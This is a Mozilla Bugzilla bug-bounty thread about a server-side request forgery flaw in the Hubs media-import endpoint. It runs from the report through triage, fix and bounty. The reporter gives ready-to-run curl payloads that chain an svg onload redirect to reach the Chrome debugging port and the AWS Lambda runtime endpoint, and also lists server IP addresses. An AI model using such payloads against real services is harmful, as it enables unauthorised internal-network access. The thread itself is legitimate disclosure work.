Full Read SSRF And Internal Network access on *.reticulum.io and hubs.mozilla.com
Categories
(Websites :: Hubs, defect)
Tracking
(Not tracked)
People
(Reporter: Mahtoshivnath709, Unassigned)
References
()
Details
(Keywords: reporter-external, sec-low, wsec-ssrf, Whiteboard: [reporter-external] [web-bounty-form] [verif?])
Attachments
(2 files)
Hello There !
There is Full Read Server Side Request Forgery (SSRF) vulnerability on hubs.mozilla.com and *.reticulum.io. allowing Internal Network Access.
Description.
Hubs allows users to import avatar using url defined by users. The server makes POST request to /api/v1/media endpoint with users provided url parameter. If the response is html, Then server converts it into png format similar to screenshot. The interesting part which i encountered with this findings were such as.
- The backend only allows external host url i.e. not even hubs.mozilla.com or reticulum.io instances were accessible directly.
- The server responds with status code 500 Internal server Error If the backend encounters status code other than 200.
- The server only accpets the response of
Content-Type: text/html. Other than this content-type urls response aren't presented to the user. - Direct ip address access to local environment is strictly denied by the server.
But Here are the bypasses.
#1. The 302 redirect fails to work here. The server executes the javascript on the page. So its possible to redirect the page to any desired location using document.location function.
#2. The internal local address is the only option to prove the internal ssrf attack. Since port 9222 is open by default allowing chrome debugging.
#3 Only /json/list endpoint were known for me till now.
Exploit.
The exploit url looks like this.
https://www.edmodo.com/embed/popup?embed=y5456<svg/onload=document.location=\http://127.0.0.1:9222/json/list\`>`
Building final exploit script.
curl -X POST -H 'Content-Type: application/json' -s 'https://hubs.mozilla.com/api/v1/media' -d '{"media":{"url":"https://www.edmodo.com/embed/popup?embed=UnwantedCharacter<svg/onload=document.location=\http://127.0.0.1:9222/json/list\`>","quality":"high"}}'`
Send this request and open the generated png url.
PS: Always add a new character along with UnwantedCharacter to bypass cache response.
Remedition.
The server must validate the url properly on Frontend to Backend both
Impact.
This vulnerability allows any Malicious user to force the server to make malicious request to sensitive server such as exploiting sql injection or other vulnerability present on government site etc. This also allows Full internal Network Access.
This is the origin server IP address of the hubs.mozilla.com instance.
59.2.215.98
This command should work better.
curl -X POST -H 'Content-Type: application/json' -s 'https://hubs.mozilla.com/api/v1/media' -d '{"media":{"url":"https://www.edmodo.com/embed/popup?embed=UnwantedCharacter<svg/onload=document.location=\"http://127.0.0.1:9222/json/list\">","quality":"high"}}'
Thanks
Best Regards
Mozilla Security Team.
The best Report i was inspired of https://hackerone.com/reports/878779 Regarding SSRF
Updated•4 years ago
|
I was looking for some open ports. And here it is what i found.
Port: 9001.
service: AWS Lambda
To Reproduce: Run below command on Terminal
curl -X POST -H 'Content-Type: application/json' -s 'https://hubs.mozilla.com/api/v1/media' -d '{"media":{"url":"https://www.edmodo.com/embed/popup?embed=UnwantedCharacter5<svg/onload=document.location=\"http://localhost:9001/2018-06-01/runtime/invocation/next\">","quality":"high"}}'
I did a mistake on previous comment.
This is the origin server IP address of the hubs.mozilla.com instance.
13.56.121.64
Thanks.
Best Regards
Mozilla Security Team.
Comment 5•4 years ago
|
||
Acknowledged. Will investigate.
Comment 6•4 years ago
|
||
As far as I can tell so far from my investigation into this, it does not allow access to internal information that we would consider highly sensitive or secret. The mechanism here uses an AWS Lambda to take a screenshot of web page. Since the lambda is isolated from the rest of our infrastructure, it cannot access endpoints that might expose critical information. The lambda does have access to some local endpoints as demonstrated above, but I would not consider this "full internal network access".
I'd ask the security team to help asses any other concerns here. Since the purpose of this lambda is to screenshot websites, and we want to continue providing that functionality, I think the sensible action we can take here is to put a strict rate limit on requests to this /api/v1/media API.
(In reply to Brian Peiris from comment #6)
As far as I can tell so far from my investigation into this, it does not allow access to internal information that we would consider highly sensitive or secret. The mechanism here uses an AWS Lambda to take a screenshot of web page. Since the lambda is isolated from the rest of our infrastructure, it cannot access endpoints that might expose critical information. The lambda does have access to some local endpoints as demonstrated above, but I would not consider this "full internal network access".
I'd ask the security team to help asses any other concerns here. Since the purpose of this lambda is to screenshot websites, and we want to continue providing that functionality, I think the sensible action we can take here is to put a strict rate limit on requests to this /api/v1/media API.
Can i get some internal endpoint to hit to prove the internal network access ssrf.
(In reply to Brian Peiris from comment #6)
As far as I can tell so far from my investigation into this, it does not allow access to internal information that we would consider highly sensitive or secret. The mechanism here uses an AWS Lambda to take a screenshot of web page. Since the lambda is isolated from the rest of our infrastructure, it cannot access endpoints that might expose critical information. The lambda does have access to some local endpoints as demonstrated above, but I would not consider this "full internal network access".
I'd ask the security team to help asses any other concerns here. Since the purpose of this lambda is to screenshot websites, and we want to continue providing that functionality, I think the sensible action we can take here is to put a strict rate limit on requests to this /api/v1/media API.
Please read above description.
There is clearly stated that the webapp donot provide direct access to those internal endpoints. but using this exploit we can access any internal ip address and ports.
Can you please provide me some internal ip address and ports so that i can hit it to prove the ssrf.
Other program do have those endpoint like this.
Submitted in attachment.
And after providing those requirements, please allow me for retesting.
| Reporter | ||
Comment 10•4 years ago
|
||
I am also able to access chrome debugging endpoint. can you please look in to this properly ? please.
| Reporter | ||
Comment 11•4 years ago
|
||
HI @bpeiris.
Any update ?
Comment 12•4 years ago
|
||
Hello Aaryan, we have discussed the report with the team and the SSRF is constrained to the lambda since the lambda is isolated from the internal network. They are looking into providing an internal endpoint for testing but this is not confirmed and we don't have a timeline for this. We will let you know when we have updates.
Thanks,
Frida
Updated•4 years ago
|
| Reporter | ||
Comment 13•4 years ago
|
||
It would be very helpful. But donot forget to expose the internal endpoint accessible within the host but not from the internet i.e. The host should have access to that internal port and endpoint internally but not from the internet.
Thank you.
Best Regards.
Mozilla Security Team.
Updated•4 years ago
|
| Reporter | ||
Comment 14•4 years ago
|
||
Hello There !
Any update ?
Updated•4 years ago
|
Comment 15•4 years ago
|
||
Hello all. We've now updated this lambda to prevent access to internal URLs like the chrome debugging endpoint and lambda runtime endpoint mentioned above. The fix also covers bypasses via SVGs and other redirects.
| Reporter | ||
Comment 16•4 years ago
|
||
Hi @bpeiris.
I can no longer reproduce the issue.
PLease proceed for further actvities.
Best Regards
aaryan9898
Updated•4 years ago
|
| Comment hidden (duplicate) |
| Comment hidden (duplicate) |
Comment 19•4 years ago
|
||
Brian: can you link to where this was fixed (I assume a github issue? maybe an OPS JIRA config ticket?)? I'd like to reference it in the See Also field
Comment 20•4 years ago
|
||
The tracking of this one was a bit scattered, since it was mitigated partially in one fix and then finally in a later fix. Here are all the related links. Let me know if you need access or more information.
https://mozilla-hub.atlassian.net/browse/HUBS-750
https://github.com/mozilla/reticulum/pull/544
https://mozilla-hub.atlassian.net/browse/HUBS-1245
https://github.com/MozillaReality/photomnemonic/pull/11
| Reporter | ||
Comment 21•4 years ago
|
||
And may i know about the bounty ?
Comment 22•4 years ago
|
||
Hello Aaryan, we wanted to check how the issue is fixed in order to determine the impact and the bounty amount
| Reporter | ||
Comment 23•4 years ago
|
||
HI @frida
The team informed me on this report about internal endpoint but they didn't provided it to me.
Thats the additional information i had to share.
For impact and bounty, Please proceed it soon.
Thank You.
| Reporter | ||
Comment 24•4 years ago
|
||
HI
any update ?
Comment 25•4 years ago
|
||
We decided to award this report since it provided an interesting method to perform SSRF using this endpoint, which bypassed the validations on the allowed URLs. We awarded half the bounty amount listed on our web bounty page, https://www.mozilla.org/en-US/security/web-bug-bounty/, since we assigned the issue a low severity.
Thanks again for your report and our team will be in touch with you regarding the award.
Thanks,
Frida
Updated•4 years ago
|
| Reporter | ||
Comment 26•4 years ago
|
||
Thanks for the bounty.
please see #1740490
| Reporter | ||
Comment 27•4 years ago
|
||
Hi @brian.
Can i get internal endpoint to test the app again ?
Thanks.
Updated•4 years ago
|
Updated•2 years ago
|
Description
•